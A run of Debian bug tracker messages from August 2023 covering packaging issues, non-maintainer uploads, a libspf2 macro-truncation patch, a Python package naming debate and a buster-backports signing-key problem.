Versions of packages xfce4-session recommends: ii dbus-user-session [default-dbus-session-bus] 1.14.8-2 ii dbus-x11 [dbus-session-bus] 1.14.8-2 ii gnome-screensaver 3.6.1-13+b2 ii libpam-systemd [logind] 254.1-2 ii systemd-sysv 254.1-2 ii upower1.90.2-4 ii xfdesktop44.18.1-1 ii xfwm4 4.18.0-1 Versions of packages xfce4-session suggests: ii fortune-mod 1:1.99.1-7.3 ii sudo 1.9.14p2-1 -- no debconf information
Bug#1039365: Fedora has systemd-unit files for sendmail
On Wed, 2 Aug 2023 18:07:52 +0200 Andreas Beckmann wrote: > On 30/07/2023 20.46, Marco wrote: > > On Mon, 26 Jun 2023 08:28:22 + Marco wrote: > >> Fedora has some systemd unit files included, maybe these are > >> helpful here: > >> https://packages.fedoraproject.org/pkgs/sendmail/sendmail/fedora-rawhide.html#files > > > > Is anybody here working on that issue? > > As sendmail has no maintainer in Debian, I'm afraid this is not being > worked on. I tried to contact the maintainer of sendmailconfig, neither a reply nor a bounce. Does anybody here have another contact address? I think deprecating sendmailconfig (at least for configuring the daemon) and using a native systemd unit that starts the service directly is the only reasonable way. It is possible to use variables from a file in the systemd unit to offer some configuration options for the user. -- Gruß Marco
Bug#1043465: reportbug: apt install produces errors when run from a non-existing directory
Package: apt Version: 2.6.1 Severity: normal Dear Maintainer, It doesn't matter which package you try to install, I'm using 'hello' as an example of a very simple package with no dependencies. If you try to run an `apt install` command while you are in a directory that has been deleted, you will get error messages. Example command: $ mkdir /tmp/hello; cd /tmp/hello; rmdir /tmp/hello; sudo apt install hello You get an output that includes these lines: sh: 0: getcwd() failed: No such file or directory sh: 0: getcwd() failed: No such file or directory sh: 0: getcwd() failed: No such file or directory sh: 0: getcwd() failed: No such file or directory sh: 0: getcwd() failed: No such file or directory cannot fetch initial working directory: No such file or directory at /usr/sbin/dpkg-preconfigure line 73. cannot fetch initial working directory: No such file or directory at /usr/sbin/dpkg-preconfigure line 159. The package installs successfully, but the messages are still not something the user should see. I discovered this when I wanted to install some package, and I grabbed the nearest terminal window I had open without realizing the current working directory in that terminal has already been deleted from a different terminal window. -- System Information: Debian Release: 12.1 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 6.1.0-10-amd64 (SMP w/2 CPU threads; PREEMPT) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages apt depends on: ii adduser 3.134 ii debian-archive-keyring 2023.3 ii gpgv2.2.40-1.1 ii libapt-pkg6.0 2.6.1 ii libc6 2.36-9+deb12u1 ii libgcc-s1 12.2.0-14 ii libgnutls30 3.7.9-2 ii libseccomp2 2.5.4-1+b3 ii libstdc++6 12.2.0-14 ii libsystemd0 252.12-1~deb12u1 Versions of packages apt recommends: ii ca-certificates 20230311 Versions of packages apt suggests: pn apt-doc pn aptitude | synaptic | wajig ii dpkg-dev 1.21.22 ii gnupg2.2.40-1.1 pn powermgmt-base -- no debconf information
Bug#1043464: ITP: libpeas2 -- application plugin library
Package: wnpp Severity: wishlist X-Debbugs-CC: debian-de...@lists.debian.org, debian-gtk-gn...@lists.debian.org Owner: jeremy.bi...@canonical.com Package Name: libpeas2 Version: 1.99.0 Upstream Author: Garret Regier, et al. License: LGPL-2.1+ Programming Lang: C (also Python3, JavaScript, Lua) Description: Application plugin library libpeas-2 is a library that allows applications to support plugins. Other Info -- This package will be maintained by the Debian GNOME team. Packaging is at https://salsa.debian.org/gnome-team/libpeas2 This is a new API for libpeas. It drops the GTK3 dependency and support so I don't think it's very practical for most reverse dependencies to switch to the new libpeas until they are ready to upgrade away from GTK3. Therefore, we will need to keep both versions of libpeas in Debian. Currently, the only thing I know of that uses libpeas2 is GNOME Builder 45. Thanks, Jeremy Bícha
Bug#1035694: python-bottle: diff for NMU version 0.12.23-1.2
Control: tags 1035694 + patch Control: tags 1035694 + pending Dear maintainer, I've prepared an NMU for python-bottle (versioned as 0.12.23-1.2) and uploaded it to DELAYED/2. Please feel free to tell me if I should delay it longer. Regards. Stefano diff -Nru python-bottle-0.12.23/debian/changelog python-bottle-0.12.23/debian/changelog --- python-bottle-0.12.23/debian/changelog 2023-02-26 22:59:44.0 +0200 +++ python-bottle-0.12.23/debian/changelog 2023-08-11 17:42:13.0 +0200 @@ -1,3 +1,10 @@ +python-bottle (0.12.23-1.2) unstable; urgency=medium + + * Non-maintainer upload. + * Build-Depend on python3-wheel, for tox 4 support. (Closes: #1035694) + + -- Stefano Rivera Fri, 11 Aug 2023 17:42:13 +0200 + python-bottle (0.12.23-1.1) unstable; urgency=medium * Non-maintainer upload. diff -Nru python-bottle-0.12.23/debian/control python-bottle-0.12.23/debian/control --- python-bottle-0.12.23/debian/control 2023-02-26 22:48:33.0 +0200 +++ python-bottle-0.12.23/debian/control 2023-08-11 17:42:13.0 +0200 @@ -13,6 +13,7 @@ python3-paste, python3-tornado, python3-werkzeug, + python3-wheel, tox Standards-Version: 4.6.1 Homepage: https://bottlepy.org
Bug#1043458: libhttp-parser-dev multi-arch hints
Control: tags 1043458 pending Jan Smets wrote... > Can you please add the Multi-Arch hints to the debian/control file. Sure thing. Christoph signature.asc Description: PGP signature
Bug#1042795: bookworm-pu: package mgba/0.10.1+dfsg-1+deb12u1
On Tue, Aug 01, 2023 at 09:03:43PM +0100, Jonathan Wiltshire wrote: Please go ahead (your changelog should target bookworm). Thanks, the package has been uploaded.
Bug#1042252: pmdk: diff for NMU version 1.13.1-1.1
On Fri, Aug 11, 2023 at 04:12:42PM +0200, Adam Borowski wrote: > On Fri, Aug 11, 2023 at 02:02:36PM +0300, Adrian Bunk wrote: > > I've prepared an NMU for pmdk (versioned as 1.13.1-1.1) and uploaded > > it to DELAYED/2. Please feel free to tell me if I should cancel it. > > > +pmdk (1.13.1-1.1) unstable; urgency=low > > + > > + * Non-maintainer upload. > > + * Ignore check-manpages failure until Pandoc creates manpages > > +that are accepted by the latest groff. (Closes: #1042252) > > + > > + -- Adrian Bunk Fri, 11 Aug 2023 13:28:04 +0300 > > It's okay. Thanks, rescheduled for immediate upload. > I waited for the problem to be fixed in pandoc and/or groff, > as pmdk is merely an user of these tools, but apparently this takes a > while. Thus, papering over the failing test for now is a good idea. Two notes regarding properly fixing it: 1. The Debian packages currently ship the prebuilt manpages from the upstream tarball, doing a simple rm doc/*/*.1 doc/*/*.3 doc/*/*.5 doc/*/*.7 in the clean target also removes some links that aren't regenerated e.g. in libpmem-dev: lrwxrwxrwx root/root /usr/share/man/man3/pmem_check_version.3.gz -> ../man7/libpmem.7.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_deep_drain.3.gz -> pmem_flush.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_deep_flush.3.gz -> pmem_flush.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_deep_persist.3.gz -> pmem_flush.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_drain.3.gz -> pmem_flush.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_errormsg.3.gz -> ../man7/libpmem.7.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_has_auto_flush.3.gz -> pmem_flush.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_has_hw_drain.3.gz -> pmem_flush.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_map_file.3.gz -> pmem_is_pmem.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_memcpy.3.gz -> pmem_memmove_persist.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_memcpy_nodrain.3.gz -> pmem_memmove_persist.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_memcpy_persist.3.gz -> pmem_memmove_persist.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_memmove.3.gz -> pmem_memmove_persist.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_memmove_nodrain.3.gz -> pmem_memmove_persist.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_memset.3.gz -> pmem_memmove_persist.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_memset_nodrain.3.gz -> pmem_memmove_persist.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_memset_persist.3.gz -> pmem_memmove_persist.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_msync.3.gz -> pmem_flush.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_persist.3.gz -> pmem_flush.3.gz lrwxrwxrwx root/root /usr/share/man/man3/pmem_unmap.3.gz -> pmem_is_pmem.3.gz 2. The version of pandoc in Debian is less ancient than the one upstream uses for the prebuilt manpages but it still has the problem, I haven't tried more recent upstream versions of pandoc. > Meow! cu Adrian
Bug#1043463: libspf2-2: macro expansion in spf resource record gets truncated by one character
Package: libspf2-2
Version: 1.2.10-7.1~deb11u1
Severity: normal
Tags: patch upstream
X-Debbugs-Cc: moritz_cku_schnei...@web.de
There is a bug in the expansion of macros in SPF resource records. If
there is no delimiter present in the string that is used for the macro
expansion the expanded string is truncated by one character. This might
cause a failed SPF result, or much worse it can cause a SPF success ,
where it should in reality be a failed result.
The bug is not only in the (up to date) Debian version, but also in the
upstream version. Hence I've already created a upstream issue, which you
can follow here:
https://github.com/shevek/libspf2/issues/42
Unfortunately the libspf2 upstream repository seems not so good
maintained anymore. So it would be a good idea to include this at least
in the Debian build.
I've build a local backport and already made a quilt patch for this
bug, which I've also attached to this issue.
Kind regards
Moritz
-- System Information:
Debian Release: 11.7
APT prefers oldstable-updates
APT policy: (500, 'oldstable-updates'), (500, 'oldstable-security'), (500,
'oldstable')
Architecture: amd64 (x86_64)
Kernel: Linux 6.1.0-0.deb11.7-amd64 (SMP w/12 CPU threads; PREEMPT)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
Versions of packages libspf2-2 depends on:
ii libc6 2.31-13+deb11u6
libspf2-2 recommends no packages.
libspf2-2 suggests no packages.
-- no debconf information
src/libspf2/spf_expand.c | 8 +++-
1 file changed, 7 insertions(+), 1 deletion(-)
Only remove a delimiter in macro expansion if a delimiter was found
Some macros are truncated by on character if expanded on input strings without
a delimiter. This commit will fix that.
--- a/src/libspf2/spf_expand.c
+++ b/src/libspf2/spf_expand.c
@@ -354,7 +354,13 @@
break;
p_write--;
}
- p_write++; /* Move to just after the '.' */
+ /* Move to just after the '.', but only if we have
found at least
+* one '.' in the string. For a string without any
delimiter
+* inside there is no '.' to remove, otherwise we would
remove a
+* character from the payload */
+ if (num_found != 0) {
+ p_write++;
+ }
/* This moves the '\0' as well. */
len = p_read_end - p_write;
memmove(munged_var, p_write, len + 1);
Bug#1023512: Naming of python binary packages
On Friday, August 11, 2023 10:49:00 AM EDT Stefano Rivera wrote: > My vote would be strongly towards maintaining the status quo of the > policy-defined names. > > I don't see any strong argument for changing this. Fully agreed. In addition to the reasons you listed, renaming a lot of packages would require a trip through New. I think we have enough backlog there without renaming a bunch of packages for a not very good reason. Scott K signature.asc Description: This is a digitally signed message part.
Bug#1043462: ltrace: breaks suid/sgid semantics in forked processes without -f (works with strace)
Package: ltrace Version: 0.7.3-6.15 Severity: normal Dear Maintainer, If program does a fork+exec of a sgid executable, then: (a) ltrace -f program and strace -f program expectedly don't let the child gain new provileges. (b) strace program does, since it's not tracing the child (c) ltrace program doesn't This makes ltrace borderline useless for debugging stuff like crontab(1). Best, наб -- System Information: Debian Release: 12.1 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable-debug'), (500, 'stable') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 6.1.0-9-amd64 (SMP w/24 CPU threads; PREEMPT) Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_FIRMWARE_WORKAROUND, TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), LANGUAGE=en_GB:en Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages ltrace depends on: ii libc62.36-9+deb12u1 ii libelf1 0.188-2.1 ii libselinux1 3.4-1+b6 ltrace recommends no packages. ltrace suggests no packages. -- no debconf information signature.asc Description: PGP signature
Bug#1023512: Naming of python binary packages
Hi debian-python (2023.08.11_14:49:00_+) > I don't think the solution here is for your packages to use > distribution-derived names while everyone else's use the policy-defined > names. Can we rather come to a consensus on what we should be using? I should say, of course, that we have a history of groups of packages that diverge from this policy. e.g. the Django app packages, and some sphinx things (I think). Sometimes it makes sense to not name things python3-foo, but rather something more descriptive to the sub-community that the package is a part of. But this example was a run of the mill Python module, as far as I can tell. Stefano -- Stefano Rivera http://tumbleweed.org.za/ +1 415 683 3272
Bug#1041794: mrtrix3: build-depends on unmaintained GTK-2-related packages
Hi Bastian, On Mon, 31 Jul 2023 17:53:53 +0200 Bastian Germann wrote: > The gtk build dependencies are not used. > I am uploading a LowNMU to fix this. > The debdiff is attached. I injected your debdiff in mrtrix3 packaging repository. Thank you for your contribution! Have a nice day, :) -- .''`. Étienne Mollier : :' : gpg: 8f91 b227 c7d6 f2b1 948c 8236 793c f67e 8f0d 11da `. `' sent from /dev/pts/5, please excuse my verbosity `-on air: AVKRVST - The Great White River signature.asc Description: PGP signature
Bug#1023512: Naming of python binary packages
Bringing bug 1023512 [0] to the Debian Python list: [0] https://bugs.debian.org/1023512 > > According to the Debian Python Policy Section 4.3, binary package > > names should be named after the *import* name of the module, not the > > PyPI distribution name. > Unfortunately, I do not agree at all with this policy. The import name has > no importance, and IMO, we should change that policy so that the package > name matches the egg-name rather than the import name. I wouldn't quite say it has no importance. It describes which part of the filesystem the package owns. I don't know the history of this policy offhand, but I presume it's also because not all Python modules come from PyPI, and we needed a standard way to address them. Also, we sometimes break PyPI distributions up into separate binary packages. They are closer to a source package than a Debian binary package. FIWIW: I am not convinced that Python made the right decision in allowing distribution names to diverge from import names, it tends to just create confusion. But that's neither here nor there. > In many places, that would make our life of package maintainer better. A > good example is all the oslo libraries in OpenStack, that all have a dot in > their egg-name, but an underscore in the import path (so that it works > better under python3). In this specific case, using the dash instead of the > dot would be really stupid and break many things, like automation for > dependencies. Presumably that can be solved with a few automated adjustments, (like the . -> _ transformation you describe). Having a straightforward distribution name -> package name mapping would make automating dependencies simpler, I agree. But we have tooling that handles that already: dh-python and its' pydist data. > In fact, this extend to all of the Debian Python module archive. > > If you want to discuss this further, please open a thread in the list. I don't think the solution here is for your packages to use distribution-derived names while everyone else's use the policy-defined names. Can we rather come to a consensus on what we should be using? My vote would be strongly towards maintaining the status quo of the policy-defined names. I don't see any strong argument for changing this. Stefano -- Stefano Rivera http://tumbleweed.org.za/ +1 415 683 3272
Bug#1043461: accessibility: kmag vmg don’t work in kde plasma
Package: accessibility Severity: normal X-Debbugs-Cc: edgard.dev...@gmx.fr Dear Maintainer, *** Reporter, please consider answering these questions, where appropriate *** * What led up to the situation? * What exactly did you do (or not do) that was effective (or ineffective)? * What was the outcome of this action? * What outcome did you expect instead? *** End of the template - remove these template lines *** -- System Information: Debian Release: 12.1 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 6.1.0-10-amd64 (SMP w/4 CPU threads; PREEMPT) Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled
Bug#1043460: ncmpcpp: Lyric fetching from genius.com shows unrelated text
Package: ncmpcpp Version: 0.9.2-2+b3 Severity: normal Searching in a browser on genius.com, I see that the lyrics for the song are there. But using L in ncmpcpp to select genius.com and then ` to force lyric fetching, I get the attached screenshot, which shows some instructions for contributing to genius.com instead of the expected lyrics. This happens for any song I try. -- System Information: Debian Release: trixie/sid APT prefers testing APT policy: (500, 'testing') Architecture: arm64 (aarch64) Kernel: Linux 6.3-rockchip (SMP w/4 CPU threads; PREEMPT) Kernel taint flags: TAINT_WARN, TAINT_UNSIGNED_MODULE Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages ncmpcpp depends on: ii libboost-filesystem1.74.0 1.74.0+ds1-22 ii libboost-locale1.74.0 1.74.0+ds1-22 ii libboost-program-options1.74.0 1.74.0+ds1-22 ii libboost-regex1.74.0 [libboost-regex1.74.0-icu72] 1.74.0+ds1-22 ii libboost-thread1.74.0 1.74.0+ds1-22 ii libc6 2.37-6 ii libcurl3-gnutls7.88.1-11 ii libfftw3-double3 3.3.10-1 ii libgcc-s1 13.2.0-1 ii libicu72 72.1-3 ii libmpdclient2 2.20-1+b1 ii libncursesw6 6.4+20230625-2 ii libreadline8 8.2-1.3 ii libstdc++6 13.2.0-1 ii libtag1v5 1.13.1-1 ii libtinfo6 6.4+20230625-2 ncmpcpp recommends no packages. Versions of packages ncmpcpp suggests: ii desktop-file-utils 0.26-1 pn mpd -- no debconf information
Bug#1043459: qiv: Drop Depends: libwmf0.2-7-gtk
Package: qiv Version: 2.3.3-1 Severity: important Control: block 967591 by -1 Please drop the Depends on libwmf0.2-7-gtk so that we can move forward with the blocked bug.
Bug#1042252: pmdk: diff for NMU version 1.13.1-1.1
On Fri, Aug 11, 2023 at 02:02:36PM +0300, Adrian Bunk wrote: > I've prepared an NMU for pmdk (versioned as 1.13.1-1.1) and uploaded > it to DELAYED/2. Please feel free to tell me if I should cancel it. > +pmdk (1.13.1-1.1) unstable; urgency=low > + > + * Non-maintainer upload. > + * Ignore check-manpages failure until Pandoc creates manpages > +that are accepted by the latest groff. (Closes: #1042252) > + > + -- Adrian Bunk Fri, 11 Aug 2023 13:28:04 +0300 It's okay. I waited for the problem to be fixed in pandoc and/or groff, as pmdk is merely an user of these tools, but apparently this takes a while. Thus, papering over the failing test for now is a good idea. Meow! -- ⢀⣴⠾⠻⢶⣦⠀ ⣾⠁⢠⠒⠀⣿⡁ Autotools hint: to do a zx-spectrum build on a pdp11 host, type: ⢿⡄⠘⠷⠚⠋⠀ ./configure --host=zx-spectrum --build=pdp11 ⠈⠳⣄
Bug#1032938: Bug can be closed
Hi, I'm sorry that I didn't reply earlier. Indeed, the package is broken. You can get the older version from snapshot.debian.org. I'll see if I can revert the change. Cheers, THomas Goirand (zigo)
Bug#1043458: libhttp-parser-dev multi-arch hints
Package: libhttp-parser-dev Version: 2.9.4-5 Hi! Different arch flavors of libhttp-parser-dev can not be co-installed - this would be convenient for unified cross-compilation environments. Can you please add the Multi-Arch hints to the debian/control file. This has already been reported by the 'multiarch hinter' back in 2016. Multiarch hinter reports 1 issue(s)normal There are issues with the multiarch metadata for this package. libhttp-parser-dev could be marked Multi-Arch: same Thank you -- Smets Jan j...@smets.cx
Bug#1043456: tecla: shows nothing and segfaults on keypress
On Fri, 2023-08-11 at 09:36 -0400, Jeremy Bícha wrote: > Yes, this is a known issue and it's why I am patching out the switch > from gkbd-display to tecla in GNOME 45 apps until the tecla app > actually works. Ah thanks :-) Cheers, Chris.
Bug#1043457: ftp.debian.org: buster-backports repository signed with bullseye + bookworm keys
Package: ftp.debian.org
Severity: important
Hi,
the buster-backports repository seems to be signed only with
the bullseye + bookworm keys now:
| % wget --quiet
http://deb.debian.org/debian/dists/buster-backports/Release{,.gpg}
| % gpg --verify Release.gpg Release 2>&1 | grep 'using RSA'
| gpg:using RSA key A7236886F3CCCAAD148A27F80E98404D386FA1D9
| gpg:using RSA key 4CB50190207B4758A3F73A796ED0E7B82643E131
STR:
| podman run --pull=always --rm -i -t debian:buster bash
| mv /etc/apt/trusted.gpg.d/debian-archive-bookworm-automatic.gpg
/etc/apt/trusted.gpg.d/debian-archive-bookworm-security-automatic.gpg
/etc/apt/trusted.gpg.d/debian-archive-bookworm-stable.gpg .
| mv /etc/apt/trusted.gpg.d/debian-archive-bullseye-automatic.gpg
/etc/apt/trusted.gpg.d/debian-archive-bullseye-security-automatic.gpg
/etc/apt/trusted.gpg.d/debian-archive-bullseye-stable.gpg .
| echo "deb http://deb.debian.org/debian buster-backports main" >
/etc/apt/sources.list.d/backports.list
| apt update
This then reports:
| [...]
| Hit:1 http://deb.debian.org/debian buster InRelease
| Hit:2 http://deb.debian.org/debian-security buster/updates InRelease
| Hit:3 http://deb.debian.org/debian buster-updates InRelease
| Hit:4 http://deb.debian.org/debian buster-backports InRelease
| Err:4 http://deb.debian.org/debian buster-backports InRelease
| The following signatures couldn't be verified because the public key is not
available: NO_PUBKEY 0E98404D386FA1D9 NO_PUBKEY 6ED0E7B82643E131
| Reading package lists... Done
| Building dependency tree
| Reading state information... Done
| All packages are up to date.
| W: An error occurred during the signature verification. The repository is not
updated and the previous index files will be used. GPG error:
http://deb.debian.org/debian buster-backports InRelease: The following
signatures couldn't be verified because the public key is not available:
NO_PUBKEY 0E98404D386FA1D9 NO_PUBKEY 6ED0E7B82643E131
| W: Failed to fetch
http://deb.debian.org/debian/dists/buster-backports/InRelease The following
signatures couldn't be verified because the public key is not available:
NO_PUBKEY 0E98404D386FA1D9 NO_PUBKEY 6ED0E7B82643E131
| W: Some index files failed to download. They have been ignored, or old ones
used instead.
regards
-mika-
